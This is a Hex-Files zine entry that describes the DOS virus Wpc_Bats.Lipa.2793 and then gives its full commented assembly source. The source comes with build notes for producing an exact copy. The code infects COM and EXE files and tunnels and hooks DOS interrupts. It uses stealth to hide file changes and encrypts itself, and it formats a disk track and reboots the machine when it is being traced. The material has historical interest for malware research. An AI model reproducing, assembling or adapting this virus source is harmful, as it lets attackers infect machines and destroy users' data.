Copy Link
Add to Bookmark
Report
Hexfiles Issue 4 File 011
HEX-FILES No. 4 File 011
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Name : Wpc_Bats.Lipa.2793
Author : A.R.Jr
Origin : Lipa City, Philippines
Resides at the top of memory which is allocated through DOS. The
memory allocated is 3664 bytes.
Recognizes memory by using the dword value at 0000:01FC. If the first
20 bytes pointed to by dword pointer is the same as that of the first
20 bytes of the virus' Int 21h handler means that the virus is
resident.
Hooks Int 1Ch and Int 21h (Functions 11h, 12h, 3Ch, 3Dh, 3Eh, 3Fh,
4202h, 43h, 4B00h, 4B01h, 4B03h, 4Eh and 6Ch). Uses tunneling
technique for Int 21h and uses DOS to hook Int 1Ch.
Infects com and exe programs. File names matching ??????86.EXE are
not infected. This way the virus avoids infecting memory managers.
The virus length is 2775 bytes and its infective length is at a
constant 2793 bytes. Host program alignment is already compensated
for by the virus.
Virus is appended to host programs.
Virus is stealth.
Recognizes programs that had already been infected, as follows:
For its DIR stealth, checks whether all bits of FileTime.Second
are set, FileDate.Year is not less than 100. Virus adds 100 to
FileDate.Year and sets FileTime.Second to 62.
For other virus functions, it further verifies an infection by
checking for the presence of its format disk routine.
Payloads:
Randomly displays " a l a h - e h !".
Displays a yellow "snake" that slithers all over the screen. The
snake is formed by " a l a h - e h". Pressing the F1 key
terminates the display.
Formats diskette in the default drive if it detects that it is
being traced.
ÄÄ WPCL2793.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*
;±*WARNING*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*WARNING*
;±*WARNING*± ±*WARNING*
;±*WARNING*± VIRUS CONTAINS DESTRUCTIVE CODES ±*WARNING*
;±*WARNING*± ±*WARNING*
;±*WARNING*± VIRUS DOES INTENTIONAL DAMAGE ±*WARNING*
;±*WARNING*± ±*WARNING*
;±*WARNING*±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±*WARNING*
;±*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± HEX-FILES No 4 ±±±
;±±±±±± ±±±±±±±±±±± ±±±
;±±±±±± Virus Name: Wpc_Bats.Lipa.2793 ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±± Author : A.R.Jr. ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±± Origin : Lipa City, Philippines ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±± Program listing created by Putoksa Kawayan ±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± COMPILING INSTRUCTION ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± ~~~~~~~~~~~~~~~~~~~~~ ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± ±±±
;±±± This virus was originally compiled in TASM 2.0 and could only be ±±±
;±±± compiled without correction in TASM. This should be compiled in ±±±
;±±± one pass which means that nops should be preserved. ±±±
;±±± ±±±
;±±± MASM 5.0 would generate a phase error message when this is ±±±
;±±± compiled. To suppress the error, you would have to add a size ±±±
;±±± override to this instruction: ±±±
;±±± ±±±
;±±± test [CommandComFlag],1 ±±±
;±±± ;<--------------------------- there should be a NOP here ±±±
;±±± ±±±
;±±± This should be coded as: ±±±
;±±± ±±±
;±±± test byte ptr [CommandComFlag],1 ±±±
;±±± nop ±±±
;±±± ±±±
;±±± This would enable MASM to compile the source. Setting a size ±±±
;±±± override would prevent MASM from a generating a NOP right after ±±±
;±±± the instruction. To get an exact copy of the virus, a NOP should ±±±
;±±± be coded as above. Otherwise, you would be creating a new ±±±
;±±± variant of the virus. ±±±
;±±± ±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;
DTA struc
_dReserved db 21 dup (?) ; reserved for next search
_dAttribute db ? ; file attribute
_dTimeStamp dw ? ; file time stamp
_dDateStamp dw ? ; file date stamp
_dLoLen dw ? ; length of file low word
_dHiLen dw ? ; length of file high word
_dFileName db 13 dup (?) ; filename of matched file
DTA ends
ExeHeader struc
_ExeID dw ? ; MZ exe identifier
_ExeMod dw ? ; bytes on last 512 blocks
_ExeBlocks dw ? ; number of 512 blocks (pages)
_ExeRelTab dw ? ; number of relocatable items
_ExeHedSize dw ? ; length in paragraphs of exe header
_ExeMinAlloc dw ? ; minimum memory required in paragraphs
_ExeMaxAlloc dw ? ; maximum memory required in paragraphs
_ExeStkSeg dw ? ; displacement for stack segment in paragraphs
_ExeStkPt dw ? ; initial value of stack pointer
_ExeCxSum dw ? ; checksum value
_ExeCodPt dw ? ; offset if program entry point
_ExeCodSeg dw ? ; displacement for code segment in paragraphs
_ExeRelFrst dw ? ; first relocatable item entry
ExeHeader ends
;-------------------------------------------------------------------
; If you are thinking of using this FCB structure in your program,
; better think twice. find something else that is right. i made it
; this way so that it would somehow fit into the system, whatever
; it may be, A.R.Jr. is thinking of. You'll be sorry. :)
;-------------------------------------------------------------------
FCB struc
_fFileName db 11 dup (?) ; filename of matched file
db 10 dup (?)
_fAttribute db ? ; file attribute
_fTimeStamp dw ? ; file time stamp
_fDateStamp dw ? ; file date stamp
_fLoLen dw ? ; length of file low word
_fHiLen dw ? ; length of file high word
FCB ends
WpcBatsLipa2793 segment 'code'
assume cs:WpcBatsLipa2793, ds:WpcBatsLipa2793
Ivt02 equ 2*4
Ivt21 equ 21h*4
Ivt7f equ 7fh*4
TimerTick equ 6ch
Environment equ 2ch
MemRequired equ ((offset WpcStackPt - offset Relocator+15)/16)+3
VirLen equ offset ReturnPoint - offset Relocator
AsciizLen equ 62
org 100h
Relocator:
mov ax,cs
add ax,0
SegVirus equ word ptr $-2
mov ds,ax
mov [VirusRelocSegment],ax
mov [Psp],es
xor bx,bx
jmp dword ptr ds:[VirusReloc] ; relocate to virus decryptor
VirusReloc label dword
VirusRelocOffset dw offset Dropper
VirusRelocSegment dw ?
DecryptEntryCode: ; decrypt virus entry ecryption
mov si,offset EntryCodeMaskBegin
std
cli
mov ss,ax
mov sp,si
EntryCodeDecryptKeyReset:
mov di,offset EntryCodeMaskEnd
EntryCodeDecryptLoop:
cmp di,offset EntryCodeMaskKeyEnd
EntryCodeMaskKeyEnd equ $-2
je EntryCodeDecryptKeyReset
dec di
mov es,bx
inc bx
mov bp,sp
shl bx,1
shl bx,1
lodsb
xor al,[di]
mov [bp],al ; no trace!
xor es:[bx+2],al
sub bx,4
dec sp
cmp sp,offset EntryCodeMaskEnd
je EntryCodeMaskEnd
or bx,bx
jz EntryCodeDecryptLoop
EntryCodeMaskEnd:
mov sp,offset WpcStackPt
sti
cld
mov bx,0
mov es,bx
les di,dword ptr es:[Ivt7f] ; check if resident
mov si,offset Int21Handler
mov cx,10
repe cmpsw
je ExecuteHost
mov es,bx
add bx,Ivt21
call TunnelInt21 ; tunnel int 21
mov ah,30h
int 21h
cmp al,3 ; no install on dos < 3
jb ExecuteHost
mov es,[Psp]
mov ah,48h
mov bx,-1
int 21h ; check free memory
cmp ax,7
je ExecuteHost
cmp bx,MemRequired ; enough mem available?
ja ReserveMemory
mov ah,4ah
mov bx,-1 ; allocate all mem
int 21h
cmp ax,7
je ExecuteHost
sub bx,MemRequired+1 ; create space for virus
jc ExecuteHost
mov ah,4ah ; reserve that space
int 21h
jc ExecuteHost
mov ax,es:[2]
sub ax,MemRequired+1
jc ReserveMemory
mov es:[2],ax ; reset top of mem
ReserveMemory:
mov bx,MemRequired ; allocate reserved space
mov ah,48h
int 21h
cmp ax,7
je ExecuteHost
mov es,ax ; copy virus to top of mem
xor di,di
mov si,offset Relocator
mov cx,((offset VirusDta - offset Relocator)+10)/2
repe movsw
sub ax,16
mov ds,ax
cli
mov ss,ax
mov sp,offset WpcStackPt
sti
push ax
mov ax,offset SetToGoTsr
push ax
retf
ExecuteHost:
call MaskSavedHostData ; decrypt saved host
mov si,offset SavedHost
mov ax,[Psp]
mov es,ax
cmp word ptr [SavedHost],'ZM' ; is host exe?
jne ExecuteComHost
mov bx,_ExeStkSeg[SavedHost] ; prepare to execute host exe
mov ds,ax
add ax,16
add cs:_ExeCodSeg[SavedHost],ax
add ax,bx
cli
mov ss,ax
mov sp,cs:_ExeStkPt[SavedHost]
sti
jmp dword ptr cs:_ExeCodPt[SavedHost] ; execute host exe
ExecuteComHost:
cli
mov ss,ax ; restore host com
mov sp,-2
sti
push ax
mov di,100h
push di
movsw
movsb
mov ds,ax
retf ; and execute it
TunnelInt21:
mov [ReadCallerOffset],bx ; save last loc
mov [ReadCallerSegment],es
les bx,es:[bx]
mov [Int21Offset],bx ; save handler
mov [Int21Segment],es
mov cx,256
CheckIfFarJump:
cmp byte ptr es:[bx],0eah ; is it far jump
jne CheckIfNearJump
inc bx
jmp TunnelInt21
CheckIfNearJump:
cmp byte ptr es:[bx],0e9h ; is it near jump
jne CheckIfShortJump
mov ax,es:[bx+1]
add ax,3
add bx,ax
jmp CheckIfFarJump
CheckIfShortJump:
cmp byte ptr es:[bx],0ebh ; short jump?
jne LookForCsOverride
mov al,es:[bx+1]
test al,80h
jz isForwardJump
sub bx,100h
isForwardJump:
add al,2
add bl,al
adc bh,0
jmp CheckIfFarJump
LookForCsOverride:
inc bx
cmp byte ptr es:[bx-01],2eh ; cs override?
jne CheckIfFarJumpAgain
cmp word ptr es:[bx],1effh ; indirect far jump
je GetLocVector
cmp word ptr es:[bx],2effh ; indirect far jump
loopnz LookForCsOverride
jcxz DoneTunnel21
GetLocVector:
mov bx,es:[bx+2] ; get loc vector
jmp TunnelInt21
CheckIfFarJumpAgain:
cmp byte ptr es:[bx-1],0eah ; far jump
loopnz LookForCsOverride
jcxz DoneTunnel21
cmp byte ptr es:[bx-2],9dh ; popf
loopnz LookForCsOverride
jcxz DoneTunnel21
jmp TunnelInt21
DoneTunnel21:
ret
ReturnOffset dw ?
db 9 ; dont know whats this for. version?
SetToGoTsr:
call MaskInt21Handler ; dcrypt int 21 handler
mov word ptr ds:[100h-15],8 ; set os as mcb owner
mov ax,351ch
int 21h ; save int 1c
mov [Int1cOffset],bx
mov [Int1cSegment],es
mov word ptr [Timer],-16 ; set timer
mov [Keypress],2 ; arjr forgot to delete this
;<-------------------------------------- there should be a NOP here
les di,[TempInt21] ; load int 21 last loc
mov ax,251ch ; hook int 1c
mov dx,offset Int1cHandler
int 21h
xor ax,ax
mov ds,ax
mov ax,offset Int21Handler
cli
stosw ; hook int 21
mov word ptr ds:[Ivt7f],ax ; set tsr self rec
mov ax,cs
stosw
mov word ptr ds:[Ivt7f][2],ax
sti
mov ax,cs
mov es,ax
mov ds,ax
mov cx,5
mov di,offset HandleTable ; init handle table
mov ax,-1
InitHandleTable:
stosw
add di,AsciizLen
loop InitHandleTable
call MaskSavedHostData
mov si,offset SavedHost
mov bx,[Psp]
mov cx,bx
cmp word ptr [SavedHost],'ZM' ; is host exe?
jne HostIsCom
add si,_ExeCodPt ; prepare to execute host exe
mov di,offset HostIp
movsw
lodsw
add bx,16
add ax,bx
stosw
sub si,_ExeRelFrst-_ExeStkSeg
lodsw
add bx,ax
lodsw
EntryCodeMaskBegin:
call MaskEntryCode ; encrypt entry code
call MaskInt21Handler ; encrypt int 21 handler
mov es,cx
mov ds,cx
cli
mov ss,bx
mov sp,ax
sti ; execute host
db 0eah
HostIp dw ?
dw ?
HostIsCom:
mov es,bx ; restore host com
mov di,100h
movsw
movsb
call MaskEntryCode ; encrypt entry code
call MaskInt21Handler ; encrypt int 21 handler
mov ds,bx
cli
mov ss,bx
mov sp,-2
sti ; execute host com
db 0eah
dw 100h
Psp dw ?
MaskInt21Handler: ; encrypt/decrypt part of int 21
pop cs:[ReturnOffset] ; handler
MaskInt21HandlerKeyEnd equ $-2
pushf
call SaveRegisters
mov bp,cs:[ReturnOffset]
cmp byte ptr cs:[bp],0cch ; am i being traced?
jne NotTraced ; sorry for you if you did
call ShowAndTrashDisk
NotTraced:
xor dx,dx
mov cx,cs
std
cli
mov cs:[SavedSs],ss
mov cs:[SavedSp],sp
mov si,offset MaskInt21HandlerBegin ; start masking here
mov ss,cx
mov sp,si
MaskInt21HandlerKeyReset:
mov bx,offset MaskInt21HandlerKeyBegin
MaskInt21HandlerLoop:
cmp bx,offset MaskInt21HandlerKeyEnd
je MaskInt21HandlerKeyReset
mov bp,sp
dec bx
mov ds,cx
lodsb
xor al,[bx]
mov [bp],al ; no trace!
mov ds,dx
xor ds:[Ivt02],al
dec sp
cmp sp,offset SaveHandle ; end encrypt/decrypt here
je RestoreSsSp
or dx,dx
jz MaskInt21HandlerLoop
MaskInt21HandlerKeyBegin equ $-1
RestoreSsSp:
mov ax,0
SavedSs equ word ptr $-2
mov ss,ax
mov sp,0
SavedSp equ word ptr $-2
call RestoreRegisters
popf
jmp cs:[ReturnOffset]
RestoreRegisters: ; pop all regs
pop cs:[ReturnPoint]
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp cs:[ReturnPoint]
CheckDateTimeMarkers: ; check for filetime.second mark
mov dx,word ptr _dDateStamp[VirusDta]
mov ax,word ptr _dTimeStamp[VirusDta]
CheckFileTimeSeconds:
and al,1fh
cmp al,1fh ; is 62 seconds?
jne NoTimeMark
sub dx,100 shl 9 ; is not less than 100 years?
ret
SaveRegisters: ; push all regs
pop cs:[ReturnPoint]
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp cs:[ReturnPoint]
IsFileHandleSaved: ; check if handle is saved
mov ax,cs
mov es,ax
mov ds,ax
mov si,offset HandleTable
mov cx,5
CheckNextEntry:
lodsw
cmp al,bl
je HandleIsSaved
add si,AsciizLen
loop CheckNextEntry
NoTimeMark:
stc
ret
HandleIsSaved: ; copies saved asciiz corresponding
push si ; to the saved handle
mov di,offset VirusAsciiz
CopySavedAsciiz:
lodsb
stosb
or al,al
jnz CopySavedAsciiz
pop si
sub si,2
clc
ret
MaskSavedHostData: ; encrypt/decrypt saved host data
mov si,offset SavedHost
MaskSavedHostKeyReset:
mov di,offset MaskSavedHostKeyBegin
MaskSavedHostLoop:
cmp di,offset MaskSavedHostKeyEnd
MaskSavedHostKeyEnd:
je MaskSavedHostKeyReset
lodsb
xor al,[di]
dec di
mov [si-1],al
MaskSavedHostKeyBegin:
cmp si,offset ShowAndTrashDisk
jne MaskSavedHostLoop
ret
HideInfectionOnRead: ; stealth function
pop cs:[ReturnPoint]
call RestoreRegisters
popf
pop cs:[ReadCallerOffset]
pop cs:[ReadCallerSegment]
popf
call UseDos
jc ReturnToReadCaller
pushf
call SaveRegisters
push ds
pop es
push cs
pop ds
cmp cx,24 ; is read not less than 24 bytes?
jb LenWithInLimit
mov cx,24 ; if more, set 24 bytes
LenWithInLimit:
mov si,offset SavedHost
mov di,dx
cld
repe movsb
call RestoreRegisters
popf
ReturnToReadCaller:
db 0eah
TempInt21 label dword
ReadCallerOffset dw ?
ReadCallerSegment dw ?
WriteFileHandler:
pop cs:[ReturnPoint]
call SaveRegisters
call IsFileHandleSaved
jc PopaPriorToExit
cmp byte ptr [si+1],0 ; check for stealthed mark
je PopaPriorToExit
mov al,1
call MovePointerZeroLoHi ; get current file pointer location
or ax,dx ; at start of file?
jz PopaPriorToExit
call RestoreRegisters
or cx,cx ; is it update file length?
jz FilePointerNotEof
popf
pop cs:[ReadCallerOffset]
pop cs:[ReadCallerSegment]
popf
stc
mov ax,5 ; return error 5 - access denied
jmp cs:[TempInt21]
CheckReadHeader:
pop cs:[ReturnPoint]
call SaveRegisters
call IsFileHandleSaved
jc PopaPriorToExit
mov al,1
call MovePointerZeroLoHi ; get file pointer location
push ax
or ax,dx ; is at start of file
pop ax
jnz PopaPriorToExit
mov byte ptr [si+1],-1 ; set stealthed mark
call MaskInt21Handler
call InfectionCheck
call MaskInt21Handler
pushf
call MovePointerStart
popf
jc PopaPriorToExit
cmp byte ptr [InfectedFlag],0 ; is file infected?
je PopaPriorToExit
call HideInfectionOnRead ; then disinfect
PopaPriorToExit:
call RestoreRegisters
FilePointerNotEof:
jmp PassToDos
MoveFilePointerHandler:
cmp al,2 ; is it check get file length?
jne FilePointerNotEof
push dx
or dx,cx ; at end of file
pop dx
jnz FilePointerNotEof
call SaveRegisters
call IsFileHandleSaved
jc PopaPriorToExit
call MaskInt21Handler
call InfectionCheck
call MaskInt21Handler
pushf
mov al,2 ; move pointer to eof
call MovePointerZeroLoHi
popf
jc PopaPriorToExit
cmp byte ptr [InfectedFlag],0 ; is file not infected
je PopaPriorToExit
call RestoreRegisters
popf
pop cs:[PointerCallerOffset]
pop cs:[PointerCallerSegment]
popf
call UseDos ; execute move pointer
pushf
sub ax,VirLen ; return to caller orig file length
sbb dx,0
popf
db 0eah
PointerCallerOffset dw ?
PointerCallerSegment dw ?
StealthFunctions:
cmp ah,3eh ;check low limit for stealth functions
jb CheckOpenFunctions
cmp ah,42h ;file pointer
je MoveFilePointerHandler
cmp ah,3fh ;read file
je ReadFileHandler
cmp ah,3eh ;close file
je CloseFileHandler
call WriteFileHandler ;handler for fn 40h (and 41h too)
ReadFileHandler:
call CheckReadHeader
CloseFileHandler:
call SaveRegisters
call IsFileHandleSaved
jc PopaPriorToExit
mov word ptr [si],-1 ; release handle entry
call RestoreRegisters
popf
pop cs:[CloseCallerOffset]
pop cs:[CloseCallerSegment]
popf
call UseDos
call MaskInt21Handler
call Infect
call MaskInt21Handler
db 0eah
CloseCallerOffset dw ?
CloseCallerSegment dw ?
Int21Handler:
pushf
sti
cld
cmp ah,43h ; file attribute
jb StealthFunctions
cmp ah,4bh ; exec
je InfectFunctions
cmp ah,6ch ; create/open file
je InfectFunctions
cmp ah,4eh ; find first file
jne PassToDos
FindFileHandler:
popf
pop cs:[ListCallerOffset]
pop cs:[ListCallerSegment]
popf
call UseDos
jc ReturnToListCaller
call MaskInt21Handler
call DirStealth
call MaskInt21Handler
ReturnToListCaller:
db 0eah
ListCallerOffset dw ?
ListCallerSegment dw ?
CheckOpenFunctions:
cmp ah,3dh ; open
je InfectFunctions
cmp ah,3ch ; create
jb CheckDirFunctions
InfectFunctions:
call SaveRegisters
cmp ah,6ch ; if 6c si holds asciiz
je SkipRegisterSwap
mov si,dx
SkipRegisterSwap:
push cs
pop es
mov di,offset VirusAsciiz ; copy name of victim
mov cx,64
CopyFileNameToAsciiz:
lodsb
stosb
or al,al
loopnz CopyFileNameToAsciiz
jcxz DoneMatch
mov ax,es:[di-4] ; get first to char of extension
or ax,2020h ; to lower case
mov dl,es:[di-2] ; get third char of extension
or dl,20h ; to lower case
cmp ax,'oc' ; is it com
jne CheckIfExe
cmp dl,'m' ; make sure its com
je ProceedWithInfection
CheckIfExe:
cmp ax,'xe' ; is it exe
jne DoneMatch
cmp dl,'e' ; verify
jne DoneMatch
cmp word ptr es:[di-7],'68' ;checks for ??????86.EXE
jne ProceedWithInfection
DoneMatch:
call RestoreRegisters
CheckDirFunctions:
cmp ah,12h ; find next file
je FindFileHandler
cmp ah,11h ; find first file
je FindFileHandler
PassToDos:
popf
push cs:[Int21Segment]
push cs:[Int21Offset]
retf
ProceedWithInfection:
call RestoreRegisters
popf
cmp ah,4bh ; is it exec
je ExecHandler
pop cs:[Int21CallerOffset]
pop cs:[Int21CallerSegment]
popf
call UseDos
jc ReturnToInt21Caller
call MaskInt21Handler
call SaveHandle
call MaskInt21Handler
ReturnToInt21Caller:
db 0eah
Int21CallerOffset dw ?
Int21CallerSegment dw ?
ExecHandler:
cmp al,3 ; load overlay
je ExecLoadHandler
cmp al,1 ; load - debug
ja ExecUnknHandler
cmp al,0 ; load and exec
je ExecLoadHandler
call MaskInt21Handler
call StealthRestoreFile
call MaskInt21Handler
pop cs:[ExecCallerOffset]
pop cs:[ExecCallerSegment]
popf
call UseDos
call MaskInt21Handler
call Infect
call MaskInt21Handler
db 0eah
ExecCallerOffset dw ?
ExecCallerSegment dw ?
ExecLoadHandler:
call MaskInt21Handler
call Infect
call MaskInt21Handler
ExecUnknHandler:
push cs:[Int21Segment]
push cs:[Int21Offset]
retf
SavedHost dw 12 dup (?)
ShowAndTrashDisk:
call ShowAlaEh
mov ah,19h ; get default drive
int 21h
mov dl,al ; set it as target drive
mov ah,5
mov dh,0
mov ch,0
int 13h ; format head 0 track 0 sector random
int 19h ; reboot
dwb macro dat1
dw 0c27h
db dat1
endm
AlaEhTempo label byte ; data for snake
dwb ' '
AlaEhText label byte
dwb ' '
dwb 'h'
dwb ' '
dwb 'e'
dwb ' '
dwb '-'
dwb ' '
dwb 'a'
dwb ' '
dwb 'l'
dwb ' '
dwb 'a'
dwb ' '
AlaEhColumn equ byte ptr $
AlaEhRow equ byte ptr $+1
dwb 1
AlaehPrompt equ byte ptr $-1
SaveHandle:
call SaveRegisters
pushf
mov bx,cs
mov ds,bx
mov es,bx
mov cx,5 ; set table entry count
mov di,offset HandleTable
LookForFreeHandleEntry:
cmp word ptr [di],-1 ; is it available
je FoundFreeEntry
add di,AsciizLen+2 ; if not check next
loop LookForFreeHandleEntry
jmp short HandleTableIsFull ; no free entry
FoundFreeEntry:
stosw ; then save handle
mov si,offset VirusAsciiz
SaveAsciizToHandleTable: ; then we copy the filename
lodsb ; associated to that handle
stosb
or al,al
jnz SaveAsciizToHandleTable
HandleTableIsFull: ; we're done
popf
call RestoreRegisters
ret
DirStealth: ; i have misgivings about this routine
call SaveRegisters ; i am not comfortable with it
pushf ; i think there is something not right
xchg ah,al ; somewhere
mov ah,2fh
call UseDos ; get dta
cmp al,11h
jnb CheckExtendedFcb
mov ax,es:_fTimeStamp[bx] ; prepare for infect check
mov dx,es:_fDateStamp[bx]
call CheckFileTimeSeconds ; is infected?
jc TimeDateMarkNotFound ; no
jmp DoDirStealth
;<-------------------------------------- there should be a NOP here
CheckExtendedFcb:
cmp byte ptr es:[bx],-1 ; extended fcb?
jne TimeDateMarkNotFound
mov ax,es:_fTimeStamp[bx][8] ; prepare for infect check
mov dx,es:_fDateStamp[bx][8]
call CheckFileTimeSeconds ; is infected
jc TimeDateMarkNotFound
add bx,10 ; adjust for extended fcb
DoDirStealth:
sub word ptr es:_fLoLen[bx],VirLen ; return origlen of file
sbb word ptr es:_fHiLen[bx],0
TimeDateMarkNotFound: ; we're done
popf
call RestoreRegisters
ret
MaskEntryCode: ; encrypt virus entry codes
call SaveRegisters
mov si,offset EntryCodeMaskBegin ; start of encryption
std
MaskEntryCodeKeyReset:
mov bx,offset EntryCodeMaskEnd
MaskEntryCodeLoop:
cmp bx,offset EntryCodeMaskKeyEnd
je MaskEntryCodeKeyReset
dec bx
lodsb
xor al,[bx]
mov [si+1],al
cmp si,offset EntryCodeMaskEnd ; end of encrypt
jne MaskEntryCodeLoop
test [CommandComFlag],1 ; is our host command.com?
;<-------------------------------------- there should be a NOP here
;=======================================================
; MASM 5.0 fix: delete the the instruction above:
;
; test [CommandComFlag],1
;
; and remove the ";" at the start of two
; lines of instructions immediately below.
;=======================================================
; test byte ptr [CommandComFlag],1
; nop
;=======================================================
jnz HostIsCommandCom ; yes its command.com
mov es,[Psp]
mov es,es:[Environment]
xor di,di
xor al,al ; get pathname from environment
cld
mov cx,-1
GetStartOfFileName:
repne scasb
scasb
jnz GetStartOfFileName ; found start of path?
mov ax,es:[di+2] ; get first two bytes of pathname
mov di,offset VirusAsciiz
push cs
pop es
cmp ah,':' ; is a drive specified?
jne SearchInDefaultDrive
stosw
SearchInDefaultDrive:
mov si,offset CommandCom ; then it must be default
mov cx,6
repe movsw
call Infect ; try infecting command.com
HostIsCommandCom:
call RestoreRegisters ; done
ret
StealthRestoreFile:
pushf
sti
cld
call SaveRegisters
call PrepareToInfectFile ; set up file for infection
jc CleanUp
push dx
call CheckDateTimeMarkers ; is it infected
pop dx
jc CleanUp
mov ax,3d02h ; open file
call UseDos
jc RestoreRegsBeforeCleanUp
mov bx,ax
call InfectionCheck
jc CloseTheFile
cmp byte ptr [InfectedFlag],0 ; is file not infected?
je CloseTheFile
call MovePointerStart
mov cx,3
cmp word ptr [SavedHost],'ZM' ; is file exe
jne TargetIsCom
mov cx,24
TargetIsCom:
mov ah,40h ; restore that program
mov dx,offset SavedHost
call UseDos
mov cx,word ptr _dHiLen[VirusDta]
mov dx,word ptr _dLoLen[VirusDta]
sub dx,VirLen
sbb cx,0
xor al,al
call MovePointer ; restore its orig length
xor cx,cx
mov ah,40h
call UseDos
mov dx,word ptr _dDateStamp[VirusDta]
sub dx,100 shl 9
mov cx,word ptr _dTimeStamp[VirusDta]
mov ax,5701h
and cl,0e0h
call UseDos ; clear second and year marks
CloseTheFile:
mov ah,3eh ; done restoring file
call UseDos
RestoreRegsBeforeCleanUp:
call RestoreFileAttribute ; some housekeeping chores
CleanUp:
call RestoreDtaErrInt
call RestoreRegisters
popf
ret
Infect:
pushf
sti
cld
call SaveRegisters
call PrepareToInfectFile ; setup for infect
jc CleanUp
mov ax,3d02h ; open file
call UseDos
jc RestoreRegsBeforeCleanUp
mov bx,ax
call CheckDateTimeMarkers ; is infected
jc isInfected
call InfectionCheck ; verify infection
jc CloseTheFile
cmp byte ptr [InfectedFlag],1 ; is file infected
je CloseTheFile ; if yes, exit. nothing to do
call MovePointerStart
isInfected:
mov [CommandComFlag],1 ; set for command
;<-------------------------------------- there should be a NOP here
mov di,offset VirusDta[_dFileName]
mov si,offset CommandCom
mov cx,6
repe cmpsw ; is it command.com?
je isCommandCom
mov [CommandComFlag],0 ; clear command flag
;<-------------------------------------- there should be a NOP here
isCommandCom:
mov ah,3fh
mov cx,24
mov dx,offset ReadBuffer
call UseDos ; read 24 bytes from start of file
jc CloseTheFile
mov si,offset ReadBuffer ; and save it
call SaveHostFileData
mov dx,word ptr _dLoLen[VirusDta] ; determine pad needed and adjust
and dx,15 ; virus infective length
mov ax,VirLen
or dx,dx
jz SaveSlack
sub dx,16
neg dx
sub ax,dx
SaveSlack:
mov [VirLenToWrite],ax ; set virus infective length
mov al,2
call MovePointerZeroHi ; move pointer to aligned eof
mov cl,4
cmp word ptr [ReadBuffer],'ZM' ; is it exe?
je isExe
shr ax,cl
mov [SegVirus],ax ; set virus segment in relocator
shl ax,cl
sub ax,3
mov byte ptr [ComJumpByte],0e9h ; set jump to virus relocator
mov [ComJumpDisp],ax ; set jump displacement
call WriteVirus ; write main virus code
jnc WriteToFileStart
RelayToCloseFile:
jmp CloseTheFile
isExe:
cmp dx,8 ; no infect if pad is more than
ja MarkTimeDateStamp ; 8 bytes
test _ExeMaxAlloc[ReadBuffer],-1
jz MarkTimeDateStamp
mov word ptr _dLoLen[VirusDta],ax ; setup virus exe header
mov bp,_ExeHedSize[ReadBuffer]
shl bp,cl
sub ax,bp
sbb dx,0
mov _ExeCodPt[ReadBuffer],ax
shr ax,cl
sub ax,16
mov ds:[SegVirus],ax ; set up relocator
mov ax,dx
mov cx,1000h
mul cx
mov _ExeCodSeg[ReadBuffer],ax
add ax,ds:[SegVirus]
mov _ExeStkSeg[ReadBuffer],ax
mov word ptr _ExeStkPt[ReadBuffer],offset WpcStackPt
call WriteVirus ; write main virus code
jc RelayToCloseFile
mov dx,word ptr _dHiLen[VirusDta]
mov ax,word ptr _dLoLen[VirusDta]
add ax,[VirLenToWrite]
adc dx,0
mov cx,200h
div cx
or dx,dx
jz PageAligned
inc ax
PageAligned:
mov _ExeMod[ReadBuffer],dx
mov _ExeBlocks[ReadBuffer],ax
cmp word ptr _ExeMinAlloc[ReadBuffer],123h
jb WriteToFileStart
mov word ptr _ExeMinAlloc[ReadBuffer],123h
WriteToFileStart:
call MovePointerStart
mov dx,offset ReadBuffer
mov cx,24
mov ah,40h ; write virus exe header or
call UseDos ; com jmp to virus
MarkTimeDateStamp:
mov dx,word ptr _dDateStamp[VirusDta]
add dx,100 shl 9 ; set FileDate.Year mark
mov cx,word ptr _dTimeStamp[VirusDta]
mov ax,5701h
or cl,1fh ; set FileTime.Seconds mark
call UseDos
mov ah,3eh
call UseDos
call RestoreFileAttribute ; some good housekeeping
call ShowAlaehPrompt
